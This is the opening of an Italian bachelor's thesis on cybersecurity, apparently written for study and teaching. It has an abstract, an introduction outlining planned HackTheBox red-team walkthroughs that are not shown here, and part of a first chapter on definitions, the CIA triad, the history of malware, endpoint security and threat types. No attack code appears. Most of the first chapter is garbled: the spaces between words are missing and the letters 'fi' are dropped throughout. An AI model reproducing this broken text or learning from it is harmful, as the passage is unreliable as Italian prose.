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L’informatica è diversa dalla fisica in quanto non è una scienza.
Non studia oggetti naturali.

Né è, come si potrebbe pensare, simile alla matematica;
anche se utilizza abbastanza ampiamente il ragionamento matematico.

Piuttosto, l’informatica è come l’ingegneria;
il suo obiettivo è fare qualcosa piuttosto che trattare con delle astrazioni.

Richard Feynman, Premio Nobel per la Fisica 1965
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Sommario

Negli ultimi anni la cybersecurity ha assunto un’importanza sempre maggiore, in quanto,
riuscendo a prevenire le minacce informatiche e, quindi, a proteggere i dati personali, per-
mette di rendere l’ambiente informatico circostante sempre più sicuro e forte. I test giocano
un ruolo importantissimo nel consentire di realizzare quanto appena detto. Dapprima, in
questa tesi, sono stati analizzati dei concetti fondamentali, come la cybersecurity, le principali
minacce informatiche ed i Blue Team e Red Team che, svolgendo i test sopra citati, permettono
di migliorare costantemente la sicurezza informatica. In particolare, sono stati realizzati tre
esperienze di Red Team in scenari differenti, ognuna delle quali prevede un’analisi descrittiva.
Tali test consentono di individuare eventuali vulnerabilità presenti in un sistema e, sfruttan-
dole, permettono di capire come pensa e agisce un hacker, al fine di prevenire i danni che egli
può causare. L’obiettivo di questa tesi è introdurre il concetto di cybersecurity, partendo dalla
sua storia e definizione per arrivare alla discussione delle vulnerabilità incontrate e sfruttate
nei test effettuati.

Keyword: Cybersecurity, Sicurezza Informatica, Minacce Informatiche, Test, Blue Team, Red
Team, Vulnerabilità, Ethical Hacking
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Introduzione

Negli ultimi decenni, l’importanza ed il concetto di cybersecurity sono cresciuti di pari
passo con il progredire della tecnologia e, oramai, la sicurezza informatica è entrata a far parte
della nostra quotidianità. Infatti, basta pensare come la maggior parte delle aziende, e non
solo, necessiti, da un punto di vista economico ed organizzativo, della digitalizzazione dei
dati utilizzati. Garantire una sicurezza informatica forte e persistente risulta essere un "must"
in qualsiasi ambito, al fine di evitare che qualche malintenzionato si appropri illegalmente di
dati sensibili.

Sostanzialmente, la cybersecurity si basa sulla protezione della confidenzialità, integrità
e disponibilità di un sistema informatico, caratteristiche cui si aggiunge l’autenticità delle
informazioni. Inoltre, nell’ambito della sicurezza informatica, sono presenti elementi giuridici,
umani, tecnici e organizzativi in grado di analizzare i punti vulnerabili di un sistema, le
minacce e i rischi associati. Notiamo, dunque, come sia diventato fondamentale essere dotati
di una sicurezza informatica forte e resiliente che possa prevenire e difenderci da attacchi
malevoli. Quanto detto è di estrema importanza; infatti, una piccola mole di dati sensibili
di un’azienda, se rubata da criminali, può portare ad ingenti danni economici, mettendo a
rischio persino la sopravvivenza dell’organizzazione stessa.

Dopo aver definito i considerevoli rischi a cui si va incontro, va anche detto come, negli
ultimi anni, attacchi di sempre più grande potenza si stanno scagliando contro i sistemi di
sicurezza informatica globali. Infatti, da uno studio effettuato dall’azienda Risk Based Security,
emerge come, nel 2022, ben 7,9 miliardi di record sono stati esposti a data breach, più del
doppio, precisamente il 112%, del numero dei record esposti nel 2021. La maggior parte
delle violazioni ha colpito servizi medici, rivenditori ed enti pubblici, settori particolarmente
interessanti per i cybercriminali che raccolgono dati medici e finanziari. Inoltre, si stima
che investimenti relativi alla cybersecurity raggiungeranno i 188,3 miliardi di dollari nel
2024 e supereranno i 260 miliardi di dollari entro il 2026; quanto previsto permetterà di fare
un passo in avanti relativamente alla protezione di sistemi e reti contro infiltrazioni ostili.
Quindi, ribadiamo che, nel prossimo futuro, la cybersecurity è destinata a coprire un ruolo
fondamentale nella realtà di ogni giorno.

La presente tesi mira ad analizzare, dapprima, in generale il concetto della cybersecurity,
scendendo sempre più nello specifico, fino all’analisi descrittiva di tre esperienze di Red
Team effettuati su tre macchine reali della piattaforma HackTheBox, un laboratorio online
dove possono essere testate e migliorate le proprie conoscenze riguardo il campo della cyber-
security. Tali esperienze rappresentano degli attacchi utilizzati per simulare un avversario
reale capace di sfruttare e testare tutte le falle presenti nel sistema informativo, sfruttando una
gamma completa di strumenti che hanno a disposizione gli hacker più aggressivi. Quindi,
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risulta essere chiaro il ruolo del Red Team nell’ambito della cybersecurity, un ruolo chiave
per poter rendere il sistema informatico più robusto e solido. Infatti, il Red Team, tramite i
suoi test, permette di rivelare potenziali vulnerabilità e rischi all’interno di sistemi e, inoltre,
si rivolge al personale, agli appaltatori indipendenti, ai dipartimenti e ai partner commerciali
per assicurarsi che siano tutti il più protetti possibile.

Il concetto di cybersecurity, all’interno di questa trattazione, è stato affrontato studiando,
in maniera approfondita, la sua definizione generale e il quadro storico che lo caratterizza,
sottolineando la sempre più alta esigenza della cybersecurity per proteggere le proprie infor-
mazioni. Successivamente, sono state enunciate e definite dettagliatamente le componenti
fondamentali su cui si basa la cybersecurity; elementi imprescindibili, grazie ai quali, la
cybersecurity fornisce una sicurezza efficace. Collegato a quanto esposto, è ciò che segue
nella trattazione della tesi, ovvero l’Endpoint Security, cioè la protezione dell’utente finale;
con l’introduzione di questo concetto si aumenta la consapevolezza degli utenti riguardo
ai rischi associati alla cybersecurity. In seguito, sono presentati i vari tipi di cyber-minacce,
ovvero cybercrimine, cyberterrorismo e cyberattacco; in particolare, per quest’ultimo tipo di
minaccia, vengono definite, nel dettaglio, una serie di tipologie di attacchi alla cybersecurity
molto pericolose e utilizzate dai criminali. A seguire, sono stati introdotti i Team, ovvero
delle vere e proprie task force, con il compito di rafforzare ulteriormente il grado di sicurezza
informatica. Esistono vari Team, con diversi compiti, ma i due fondamentali, su cui ci si
è concentrati nella presente tesi, sono il Blue Team ed il Red Team. Il primo è formato da
un gruppo di esperti in sicurezza informatica che protegge i dati dalle minacce utilizzando
tecnologie all’avanguardia, mentre il secondo è formato da esperti in cybersecurity specializ-
zati nella simulazione di attacchi al sistema il cui compito è di individuare le vulnerabilità
presenti in esso. Per ognuno dei due Team sono stati discussi approfonditamente i vantaggi
che essi portano al rinforzamento della cybersecurity ed i compiti svolti. In particolare, per
il Blue Team sono stati descritti una serie di strumenti efficaci all’implementazione e alla
semplificazione del lavoro del Team. Invece, per quanto riguarda il Red Team, sono state
esposte le varie differenze che sussistono tra l’esperienza di Red Team ed il Penetration Test,
fenomeni da non confondere, in quanto, a prima vista, sembrano identici, mentre nella realtà
sono estremamente diversi su molti punti di vista. Infine, sono riportate ed analizzate tre
esperienze di Red Team compiute su macchine reali, di cui due effettuate su ambiente di
sistema operativo Linux e l’ultima su ambiente di sistema operativo Windows. L’obiettivo
di queste esperienze consiste nell’esaminare le possibili debolezze di un sistema e sfruttarle
per accedere ad esso, in modo tale da studiare le possibili conseguenze di un’intrusione. Per
ognuno di questi test sono stati esaminati dettagliatamente tutti i passaggi utili all’ottenimen-
to dell’accesso al sistema User e al sistema Root, così come tutti gli strumenti utilizzati per
poter raggiungere tali obiettivi. Il sistema operativo utilizzato è Kali Linux, in quanto offre
molti strumenti per le analisi forensi e test sopra descritti e, per tale motivo, ad oggi, è uno
dei migliori strumenti per gli esperti di sicurezza informatica e delle reti.

La presente tesi è composta da sette capitoli strutturati come di seguito specificato:

• Nel Capitolo 1 viene introdotta la storia e la definizione di cybersecurity, sottolineando
la sua importanza ed indispensabilità nel mondo odierno. Successivamente, vengono
trattate le componenti fondamentali su cui essa si basa, analizzando gli strumenti
utilizzati e, fornendo una chiave importante al fine di rendere la sicurezza informatica
più forte e resiliente, ovvero l’Endpoint Security. Inoltre, sono elencate ed approfondite
le cyber-minacce più pericolose, così come le tipologie di cyberattacchi più nocivi ai
sistemi di sicurezza informatici attuali, specificando come essi si comportino e gli
obiettivi a cui mirano.

• Nel Capitolo 2 sono introdotte le definizioni dei Team che si occupano di mantenere
salda e stabile la cybersecurity, specificando, per ognuno di essi, la sua implementazione
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ed i suoi scopi. In seguito, ci si è concentrati soprattutto sul Blue Team e Red Team, i
due Team maggiormente responsabili del rafforzamento della sicurezza informatica.
Dunque, sono stati sottolineati i compiti e i vantaggi derivanti dall’uso di tali Team,
evidenziando gli strumenti più utilizzati dai professionisti che fanno parte di un Blue
Team e le differenze esistenti tra Red Team e Penetration test.

• Nel Capitolo 3, si trova la prima esperienza di Red Team sulla macchina reale "Mo-
nitorsTwo", basata su sistema operativo Linux. Dopo aver analizzato le vulnerabilità
presenti, è stata sfruttata una tecnica di virtualizzazione leggera, chiamat Docker, al fine
di ottenere l’acceso ai flag User e Root.

• Nel Capitolo 4, è presente la seconda esperienza di Red Team sulla macchina reale "PC",
anch’essa basata su sistema operativo Linux. Per questa macchina, è stato utilizzato
un endpoint specifico per utilizzare la tecnica di SQL Injection, al fine di sfruttare le
vulnerabilità presenti. Una volta fatto ciò, si è ottenuto l’accesso al sistema come User e,
di conseguenza, la User flag. Infine, tramite un codice remoto, che permette di sfruttare
una vulnerabilità di una versione obsoleta di pyLoad, si è ricevuto l’accesso al sistema
come Root, ottenendo, di conseguenza, anche la Root flag.

• Nel Capitolo 5, viene analizzata l’ultima esperienza di Red Team sulla macchina reale
"Authority", l’unica basata su sistema operativo Windows. In questa macchina, per
l’accesso al sistema come User, tutto si basa sull’utilizzo dello strumento Ansible, tool di
automazione e gestione della configurazione, grazie al quale si può ottenere la User
flag. Per l’accesso al sistema come Root, e quindi per l’ottenimento della Root flag, si
utilizza il tool Burpsuite, il quale facilita l’acquisizione non sicura dell’autenticazione ad
un server LDAP.

• Nel Capitolo 6, viene presentata una discussione in merito al lavoro svolto, dove ci
si concentra sull’analisi approfondita di quanto affrontato nelle tre esperienze di Red
Team, valutando l’utilità e le lezioni apprese da ognuna di esse.

• Nel Capitolo 7, infine, vengono esposte le conclusioni del lavoro svolto nella presente
tesi e viene fornita una breve visione sugli sviluppi futuri della cybersecurity.



CAPITOLO 1

Introduzione alla cybersecurity

In questo primo capitolo vengono descritte le azioni volte a difendere computer, server, dispositivi mobili,
sistemi elettronici, reti e dati dagli attacchi dannosi; tali azioni formano nel loro complesso la cybersecurity.
Verrà inizialmente data una vera e propria definizione di cybersecurity, concentrandosi sul perché essa
sia importante e su cosa essa si basi, fornendo cenni storici riguardo la sua nascita ed evoluzione, senza
tralasciare inoltre un’illustrazione su un nodo cruciale della cybersecurity, l’endpoint security. Seguirà poi
una descrizione specifica per ognuna delle tre principali cyber-minacce che nuocciono alla cybersecurity.
Infine, verrano presentate una serie di tipologie di attacchi alla cybersecurity incentrando particolarmente
l’attenzione sulle pericolosità di ognuno di essi al fine di coltivare maggiormente la cultura informatica.

1.1 Storia e definizione

In generale, quando si parla di protezione dei sistemi informatici, la cybersecurity risulta
essere fondamentale poiché il suo scopo principale è quello di preservare la confidenzialità,
l’integrità e la disponibilità delle informazioni digitali. Approfondiamo dunque il concetto di
"cybersecurity".

1.1.1 Cos’è la cybersecurity

La cybersecurity, all’interno del testo coordinato del decreto-legge 14 giugno 2021 n. 82, è
definita come "l’insieme delle attività [...] e gli obblighi derivanti da trattati internazionali, necessarie
per proteggere dalle minacce informatiche reti, sistemi informativi, servizi informatici e comunicazioni
elettroniche, assicurandone la disponibilità, la confidenzialità e l’integrità e garantendone la resilienza,
anche ai fini della tutela della sicurezza nazionale e dell’interesse nazionale nello spazio cibernetico". Il
termine cybersecurity è usato ormai frequentemente nella realtà di tutti i giorni ed è entrato
nel vocabolario della nostra stessa lingua; eppure, ancora, la maggior parte delle persone che
utilizza tale termine ignora quali siano i suoi obiettivi e la sua importanza.

L’obiettivo principale è la protezione di “asset” (quali un sito o un computer, etc.) nei
confronti di minacce informatiche; allo stesso tempo la cybersecurity cerca, nel caso di
vulnerabilità, di minimizzare l’impatto causato da chi riesce a superare le difese implementate.
Chiaramente, non è un compito banale a cui adempiere; quindi, è necessario introdurre dei
concetti che semplifichino, per quanto possibile, il raggiungimento di tale scopo.

Un elemento importante di cui parlare è la triade CIA (o AIC), acronimo formato dai 3
pilastri su cui si basa la cybersecurity, ovvero:

4
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1.Conidentiality(Conidenzialità):lemisuresonoprogettateperimpedirecheleinforma-
zionisensibilivenganoattaccatedatentatividiaccessononautorizzato.

2.Integrity(Integrità):implicailmantenimentodellacoerenza,accuratezzaeafidabilità
deidatiperl’interociclodivita.

3.Availability(Disponibilità):leinformazionidovrebberoesserecoerentementeepronta-
menteaccessibiliallepartiautorizzate.

UnapossibilerappresentazionediquestatriadeèfornitanellaFigura1.1.

Figura1.1:PossibilerappresentazionedellatriadeCIA

Considerarequestitreprincipiinsieme,nelquadrodellatriade,puòaiutareaguidarelo
sviluppodellepolitichedisicurezzaperleorganizzazioni.

Inoltre,inbasealprincipiodasoddisfare,esistonostrumentichepermettonodigarantire
l’applicazionedei3fattorieridurrealminimoilrischiodiminaccechepossanoseriamente
comprometterelacybersecurity,talistrumentisono:

Perquantoriguardalaconidentiality:

•utilizzodisistemidicifraturaperevitarecheleinformazionisianolettedachinonsia
autorizzatoadaccedervi;

•controllidiaccessopergestire,appunto,l’accessoadunarisorsa;

•autorizzazioneperl’identiicazionedell’utente.

Relativamenteall’integrity,essisono:

•backuperipristino,cioèlacopiaperiodicadeiile,utilenelcasodidistruzionedeidati;

•checksum,ovverol’assegnamentodiunvalorenumericocalcolatoattraversounalgorit-
mochepermettedivalidarecheililenonsiastatomodiicatoneltempointercorso
dall’ultimocontrolloeffettuato;
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Inineperl’availability,glistrumentisono:

•protezioniisiche,checonsistonoindifferentimetodiattiamantenereoperativoilsistema.

•protezioniweb,ossiadifesequaliCDN(ContentDeliveryNetwork)eDNS(Domain
NameSystem),inmododacontrastareeventualiattacchiDDoSchepotrebberosovrac-
caricareilservermettendofuoriusoilservizio.

1.1.2 Evoluzioneneglianni

Lanascitadelconcettodellacybersecurityderivadallanecessitàdicontrastareed
eliminaretutteleminaccecheminavanolasicurezzadeisistemiinformatici.

Iltuttohainizioconquellocheèconsideratoilprimo"virus"informaticocreato:Creeper.
Creepernascenel1971allaBBNTechnologiesesidiffusesuicompuetercollegatiadARPA-
NET,ilprecursorediInternet.Creeper,oltreadintaccareilfunzionamentodellestampanti
emostraresulloschermoilmessaggio"I’mthecreeper,catchmeifyoucan",eraunsemplice
programmaautoreplicante,ilchesigniicacheeliminavaleversioniprecedentidisestesso
quandopassavadauncomputerall’altro.Creeper,oltreadessereunbanale"virus"informa-
tico,hadatoquellaspintanecessariaallacreazionedelprimosoftwareantivirus:Reaper,che
chiaramenteservivaadarelacacciae,quindieliminare,Creeper.

SoloundecenniopiùtardidallanascitadiCreeperhannoiniziatoacircolareiprimivirus
chepotevanoespandersiliberamente;ilprimoesempioconosciutoèElkCloner,chesidiffuse
daidischiloppyinfettineicomputerAppleII.Successivamente,neglianni1986e1988,sono
nati,rispettivamente,ivirusPC-WriteTrojaneMorris Worm;ilprimochecancellavatuttii
ilediunutentesulsistema, mentreilsecondosidicesiastatocreatoperscopiinnocenti
(dovevamisurarelagrandezzadiinternet),masireplicavacosìaggressivamenteche,difatto,
harallentatoInternet.

Comedettoinprecedenza,leprimecontromisuresonostatepreseconseguentementealla
nascitadiCreeper,maèsoloneglianni’90chesièavutaun’esplosionediscanneranti-virus;
essiesaminavanotuttiiilebinaridiundatosistemaelitestavanoconfrontandoliconun
databasedi"irme".Peròquestaprocedurasollevavadueproblematiche:

1.ifalsipositivi

2.l’usointensivodirisorse

Contemporaneamente,però,ilnumerodimalwarecrescevaadismisurae,insiemealla
nascitadinuovipericoliinformatici,comeilphishingehacking,hannodatovitaaquelloche
sideinisceil"mercatodellacybersecurity",chesioccupadiproteggeresistemiinformatici,reti,
datierisorsedigitalidaminacce,attacchievulnerabilità.

L’analisistaticadelleirmeèstataprestoafiancatadall’analisieuristica,ovverol’iden-
tiicazionedivirusapartiredallaricercadicaratteristichesospettenelcodice,pensata
peridentiicareilcrescentenumerodivariantidi malwareancorasconosciuteinoaquel
momento.

Siarriva,quindi,aglianni2000dove,dal2003al2009,idispositivi,iservizieisoftware
mobileconquistanoilpanoramaaziendale.Lafrodeinanziaria,ilransomware,lospyware,
lebotnet,ildenialofservice(DoSeDDoS)el’SQLinjectionsiunisconoall’ecosistemadelle
minacceinformatichesenzapiùabbandonarlo.

Successivamente,dal2009al2012,inizial’eradelransomware moderno.Gliattacchi
basatisulwebesulsocialengineeringsonosemprepiùdiffusieaumentanogliattacchi
dapartedigruppisostenutidaStatinazioneehacktivisti.Inoltre,inquestianninasce,
l’esigenzadiunacibersecurityscalabile,accessibileeaggiornabileintemporeale,eciòspinge
lasicurezzaversoilcloud.
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Dal2012al2016cresceadismisurailnumerodegliattacchiinformaticichediventano
semprepiùdistruttivi;sidiffondono,inoltre,isistemiInternetofThingsconnessiegli
ambientiITibridicloud/on-premise,offrendounapiùampiasupericied’attacco.

Siarriva,così,al2023.Oggisiosserval’evoluzionedell’InternetofThingsnell’Internet
ofEverything.Sisfruttal’AI(IntelligenzaArtiiciale)edilmachinelearningsiapersferrare
attacchisiaperdifendersidaessi;nelprimocasovengonoutilizzatipercreareattacchidi
socialengineeringemalwareancorapiùpotenti,nelsecondopersvilupparestrumentidi
cybersecuritypiùintelligentiinmododarilevareebloccareleminacce.

QuantoespostoèsintetizzatonellaFigura1.2.

Figura1.2:Evoluzionenegliannidellacybersecurity

Inconclusionesipuònotarecomehackereteamdisicurezzasisianosempreadattatiad
uncontestomutevole,avolteimparandogliunidaglialtri.
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1.1.3 Componentifondamentali

Unasecondadeinizionedellacybersecurityèlaseguente:"uninsiemeditecnologie,processi
emisurediprotezioneprogettateperridurreilrischiodiattacchiinformatici".Peressereeficace,
lacybersecurityrichiededellemisuredisicurezzachesifondanosutreelementi:lepersone,
iprocessielatecnologia.Questoapprocciosutrefrontiaiutaleorganizzazioniadifendersi
dagliattacchispecializzaticomedalleminacceinternepiùcomuni.È,dunque,importante
deinireneldettagliocosarappresentanoi3pilastriappenaenunciati:

•Tecnologie:essenzialiperoffrirealleaziendeeagliindividuiglistrumentidisicurez-
zainformaticinecessariperproteggersidagliattacchiinformatici.Laprotezioneva
garantitapertreentitàprincipali:idispositiviendpoint,comecomputer,dispositivi
intelligentierouter,nonchéleretieilcloud.

•Processi:fondamentaliperdeinirecomeleattività,iruolieidocumentidell’organizza-
zionesianointerconnessitraloro,conloscopoultimodimitigareirischidellasicurezza
delleinformazioni.Gliattacchieleminacceallacybersecuritysonoincostanteaumento
edevoluzione;perciòiprocessidevonoessereaggiornaticonregolaritàperpotersi
adattareeadeguareadessi.

•Persone:devonocomprendereerispettareiprincipidisicurezzadeidatidibase.Proprio
perquestomotivolepersonesonoilpuntopiùdeboledellasicurezzadiunsistema;
ognisforzopuòdiventarevanoancheseunasingolapersonacompieunsemplice
sbaglio.Perevitareunoscenariosimile,sipossonoseguirealcuniatteggiamentiche
miranodirettamenteadevitarequalsiasierrorechepossacomprometterelasicurezza
delsistema.

Alcuniesempidiquesticomportamentisono:

1.Scegliereunapasswordfortee,chiaramente,noncondividerlaconnessunaltro.

2.Porresempreattenzioneailinkchevisitiamoealleemailchedecidiamodiaprire,
inquantopossononascondersideiviruschemiranoafrodiofurtididato.

3.Eseguireilbackupdeidatiregolarmente.

4.Fareattenzioneal"socialengineering",unveroeproprioattaccochesfruttala
manipolazioneperottenereinformazioni(neparleremonellasezione1.3.5)

Naturalmentequestipochiconsiglinonbastanoperesserecompletamentealsicuroda
qualsiasiattaccoma,educaresestessièlaprimalineadidifesa.

UnaschematizzazionedeitrepilastrisucuisibasalacybersecurityèmostrtatainFigura
1.3.

Figura1.3:Schematizzazionedeitrepilastrifondamentalidellacybersecurity
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1.1.4 Importanzadellacybersecurity

Lacybersecurityèl’armamiglioreconcuidifendersidagliattacchi.Conilpassaredegli
anni,iltemadellacybersecurityèdiventatosemprepiùimportanteecentrale,soprattutto
nel mondodelleaziende.Infatti,leaziendesfruttanoinnovazionienuovetecnologieche
sicuramenteportanobeneiciriguardotempisticheesempliicazionedellavoro,ma,tendono,
purtroppo,adesporre maggiormentesestessaalrischiodisubireattacchie,oquindi,di
perderedatisensibili.

Cosìcomeletecnologiesonosemprepiùavanzate,ancheletecnicheutilizzatedaicyber-
criminalilosono,inparticolarelanascitadelladigitalizzazione(avvenutatralainedeglianni
’80el’iniziodeglianni’90)hadatomodoaquestiultimidieffettuaredegliattacchicheinoa
pocoprimaeranoimpensabili.Unavisionegeneraledegliattacchiinformaticièconsultabile
tramiteilrapportoClusit,unreportsullasicurezzainformaticachevienepubblicatodue
voltel’anno.IlrapportoClusit2023,chediscutedeidatidell’annoprecedente,indicache,
negliultimi5anni,ilnumerodiattacchirilevati,alivelloglobale,èaumentatodicircail60%,
comesipuònotarenelgraicoinFigura1.4chemostratuttigliattacchidagennaio2018a
dicembre2022.

Figura1.4:Andamentodeicyberattacchidal2018al2022

InquestoscenarioancheilnostroPaeserisultainevitabilmentecoinvolto,comedimostra
ilsigniicativoincrementodiattacchiandatiasegnonel2022,ricevendo,ormai,il7,6%degli
attacchiglobali(controun3,4%del2021).

Unasoluzioneaquantodettoèlasceltadisistemidisicurezzacherendanopiùfortii
sistemiechepermettanodiprevenireeventualiattacchiallacybersecurity.Inoltre,l’usodi
sistemidisicurezzaresistentipermettedieffettuareilmonitoraggioproattivo,ovverofasìchei
sistemidisicurezzavenganomonitoratiintemporeale,cosìdaagireinmanieratempestiva
incasodiattacchiofalledisistema.

Èevidentechelasceltadiprendersicuradellacybersecurityrecamoltivantaggi;traipiù
importantipossiamocitarelaprevenzionedirallentamentinelpropriolavoro,laprotezione
didatisensibili,laprevenzionediperditamonetaria,emoltialtriancora.

1.1.5 EndpointSecurity

L’endpointsecurity(protezionedell’utenteinale)èunaspettocrucialedellacybersecurity.
Infatti,sonopropriolepersone(gliutentiinali)ascaricareaccidentalmentemalwareoaltri
tipidiminacceinformaticheneipropripc,computerportatiliodispositivimobili(comegià
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dettonellaSezione1.1.3).Isistemidiendpointsecuritypermettonodiavereunaprotezione;
partendodasemplicisoftwareantivirus,sisonoevolutineglianniinoadoffrireunacompleta
difesacontroimalwarepiùsoisticati.Rispettoalpassato,infatti,l’endpointsecurityintegra
funzionalitàdiprotezionediversiicate;alcuniesempisono:

•Crittograia:idatiinattivieinmovimentovengonocrittografatiinmodochealtrinon
possanoaccederviomanipolarli.

•Accessoalleinformazionisulleminaccebasatesucloud:leaziendepossonoricevereaggior-
namentiintemporealedaunareteglobaledianalistidellasicurezzachecontribuiscono
adaggiornarecontinuamentelaletteraturarelativaaqualsiasitipodiminaccia.

•Gestionecentralizzatadelcloud:implicachegliamministratoridellasicurezzaabbianola
possibilitàdiaggiungereomodiicarelapoliticadiprotezionedegliendpointaziendali
ediaggiornareidispositivisullaLANaziendaleosuInternet.

•DataLossPrevention:funzionalitàchecontrassegna,notiicaebloccalatrasmissionedi
datisensibilialdifuoridelcontrollodell’organizzazione.

•Whitelistingdelleapplicazioni: consentedieseguiresoloapplicazionieservizispeciici
suognisistemaoperativoutilizzatodaciascunendpointinseritonelperimetrodi
protezioneaziendale.

•Controllodeiprivilegiinbasealruolo:funzioneperconcedereonegarel’accessoaileo
applicazionispeciiciinbasealruoloassegnatoaunutente.

Quest’evoluzionecosìavanzataèdovutaalfattochesemprepiùorganizzazionihanno
ilbisognoelavolontàdidifendereipropridatisensibili;è,inoltre,aumentataanchela
consapevolezzadelconsumer,cioèdichiusaprodottiinformaticiperscopiprivati,riguardo
lecyberminacce.

Diparipassoconlosviluppodell’endpointsecurityviaggia,naturalmente,ilmercatoad
essalegato,ilqualeèarrivatoa12.4miliardidieuroesistimacheraggiungai27miliardidi
euronel2027,comeriportatonelgraicoinFigura1.5.1

Figura1.5:Andamentodelmercatolegatoall’EndpointSecurity

LapiùrecenteevoluzionedellasicurezzadegliendpointèlaEndpointSecurityPlatform
(EPP)cherappresentaunasoluzionedisicurezzacompletadistribuitasudispositiviendpoint
perassicurareprotezionecontrole minacce.Inoltre,leEPPsonostatesviluppateperfare
fronteaglihackeringradodiaggirarelasicurezzadegliendpointtradizionali.Illorouso,è

1Nelgraicolecifresonoriportateindollaristatunitensi.
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ingenere,gestitosucloud;esseutilizzanoidatidelcloudpersupportareilmonitoraggio
avanzatoelacorrezioneremota.Unimportantevantaggiodellepiattaformediprotezione
degliendpointèilpassaggioalcloudinquantoèpossibileacquisireidatiglobalicondivisi
cheillustranoletattichedeglihackerpermigliorareilrilevamentodeilorocomportamenti.

1.2 Tipiprincipalidicyber-minacce

Ladeinizionedi minacciacibernetica(cyber-minaccia)fornitadalCSIRT(Computer
SecurityIncidentResponseTeam)èlaseguente:"Espressioneimpiegataperindicarel’insieme
dellecondottecontroindicatechepossonoessererealizzateneletramiteilcyber-spaceovveroindanno
diquest’ultimoedeisuoielementicostitutivi.".Lacybersecurityhaloscopodicontrastaretre
tipidiminaccecheanalizzeremonelleprossimesottosezioni.

1.2.1 Cybercrimine

Perreatoinformatico(cybercrimine)siintendequalsiasicomportamento,sanzionato
dall’ordinamentopenale,chesirealizzaper mezzodellenuovetecnologieo,comunque,
rivoltacontroibeniinformatici.Puòessereconsideratoreatoinformaticotantolafrode
commessaattraversoilcomputercheildanneggiamentodelsistemainformatico.

Ilcybercriminepuòesserecommessodasingoliindividuiodaorganizzazioniecoinvolge
unooentrambiiseguentielementi:

1.Attivitàcriminalicheprendonodimiraicomputer mediantevirusealtritipidi mal-
ware.Esseutilizzanoquesti malwareperdanneggiareicomputeroimpedirneil
funzionamento

2.Attivitàcriminalicheutilizzanoicomputerpercommetterealtrireati,qualiladiffusione
dimalware,informazioniillegalioimmaginiillecite.

Nonnecessariamenteunelementoescludel’altro;anzi,la maggiorpartedeicriminali
informaticiprendedimiraicomputerconvirusperpoiutilizzarliperdiffonderemalwaread
altremacchineoinunarete.

Sebbeneilcybercriminesiaun’attivitàmoltopericolosa,lasuarilevanzahatrovatopieno
riconoscimentopochiannifa,conlaConvenzionediBudapestdel23novembre2001,che
rappresentailprimoaccordointernazionaleriguardanteireaticommessitramiteInterneto
altreretiinformatiche.Pochiannidopo,taleconvenzioneèstataratiicatadalParlamento
italianoconlalegge18marzo2008n.48,cherecitaall’art.1:"IlPresidentedellaRepubblicaè
autorizzatoaratiicarelaConvenzionedelConsigliod’Europasullacriminalitàinformatica,fattaa
Budapestil23novembre2001,diseguitodenominata"Convenzione".".

Sono moltigliesempidiattacchichefannopartedelcybercrimine,bastapensareagli
attacchimalware,phishing,DDoSemoltialtri,madiquestiparleremopoinellaSezione1.3.

1.2.2 Cyberterrorismo

Nelcorsodegliultimianni,ilcontinuoevertiginosoincrementodell’utilizzodellepiatta-
formedicomunicazioneonline,socialnetworkediapplicazionidimessaggisticaistantanea,
hadeterminatoun’allarmantediffusionedicontenutipropagandisticiriconducibilialter-
rorismo,adunaplateapressochéillimitata,siadi matriceislamista,siadiformazionidi
estremadestra(neonazismo,neofascismo,tifoseriestrutturate,suprematismo),nonchédi
estremasinistra(movimentidilottaarmata,anarchici,insurrezionalisti,antagonisti).Secondo
laTreccani,ilCyberterrorismoè"l’utilizzoditecnologieinformatichealinedisviluppareun’azione
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ounastrategiaterroristica.".Accantoaquestadeinizionedicaratteregenerale,seneafian-
canoaltrepropostesecondodiversipuntidivista.Peralcuniilcyberterrorismo"consistein
operazionicondottesulwebemotivatepoliticamenteconloscopodiprovocaregraviconseguenzecome
laperditadiviteumaneoconsistentidannieconomici,ocomunqueperterrorizzare",peraltri"si
manifestacongliattacchioleminaccediattacchicontrocomputer,retieinformazioniiviarchiviate,
conloscopodiintimidireocostringereungovernoolasuapopolazioneadeterminaticomportamenti
alinediconseguireeffettipoliticiosociali".Altriancoradeinisconoilcyberterrorismocome
"attichebloccanoodistruggononodicomputerizzatidelleinfrastrutturecritichecomeInternet,le
telecomunicazioni,leretielettriche,ilsistemabancarioecosìvia".

Però,comedescrittoinunaresearchanalysisdiPablo Mazurierdell’Universitàde-
gliStudidiFirenze,inqualsiasi manierasiadeinito,dalpuntodivistaoggettivo,l’atto
cyberterroristicosibasasutrefattoriessenziali:

•lapresenzadistrumentielettronici,ditecnologiainformaticae/odistruttureInternete
lorodati;

•unamotivazioneterroristica/ideologica,etnicaoreligiosa;

•unesecutoredell’attochedeveessereunapersona,ogruppodipersone,nonvincolate
adunoStatonéagenziagovernativaalcuna.

Èevidentecheciòchedifferenziailcyberterrorismodaun"normale"cyberattaccoo
cybercriminesiailsecondopunto,ovverola matriceterroristica.Afinchéunattaccodi
cyberterrorismosiaritenutotale,ognunodiquestitreelementiènecessario.Infatti,notiamo
che,se mancadelprimopunto,l’azionesaràconsiderataunattoterroristico;se manca
delsecondopunto,perciòcheabbiamoappenadetto,l’azionesaràuncyberattaccoouna
cybercrimine;se,inine,l’esecutoreèlegatoadunoStato,l’azionesaràpiuttostoriconducibile
adunattodiInformationwarfare.

Inine,ilcyberterrorismoèunfenomenoassolutamentedanonsottovalutare,inquanto
negliultimiannihaguadagnatosemprepiùcampoeseguaci.Percontrastareglieffettidel
cyberterrorismo,compresiquellisocialiepsicologicichequestihannosuicittadini,potrebbe
essereattuatounpianodidifesaglobale,lacuiattualizzazionepotrebbebasarsisuiseguenti
punti:

1.campagnedisensibilizzazionediretteaicittadiniperprevenireattacchi;

2.adozionedistrategienazionalipercontrastarelapropagandaterroristicaonline;

3.rafforzamentodelrapportotrasettorepubblicoeprivato,adesempioforzedisicurezza,
espertidicybersecurity,fornitoridiserviziInternet,etc.

Naturalmente,questisonosoloalcuniesempidiciòcheigovernimondialipotrebbero
utilizzareperlimitarel’attivitàterroristicama,soprattutto,perevitareilreclutamentoonline
dinuoviseguaciedilmiglioramentodeimezziadisposizioneperl’esecuzionediattacchi
semprepiùpericolosi.

1.2.3 Cyberattacco

LostessoCSIRT,introdottonellaSezione1.2,forniscequellichesonoiparametriafinché
unadeterminataazionesiaconsiderabileattaccoallacybersecurity:"Sisostanziainattacchi
cibernetici:azionidisingoliindividuioorganizzazioni,statualienon,inalizzateadistruggere,
danneggiareoostacolareilregolarefunzionamentodeisistemiedelleretie/odeisistemiattuatori
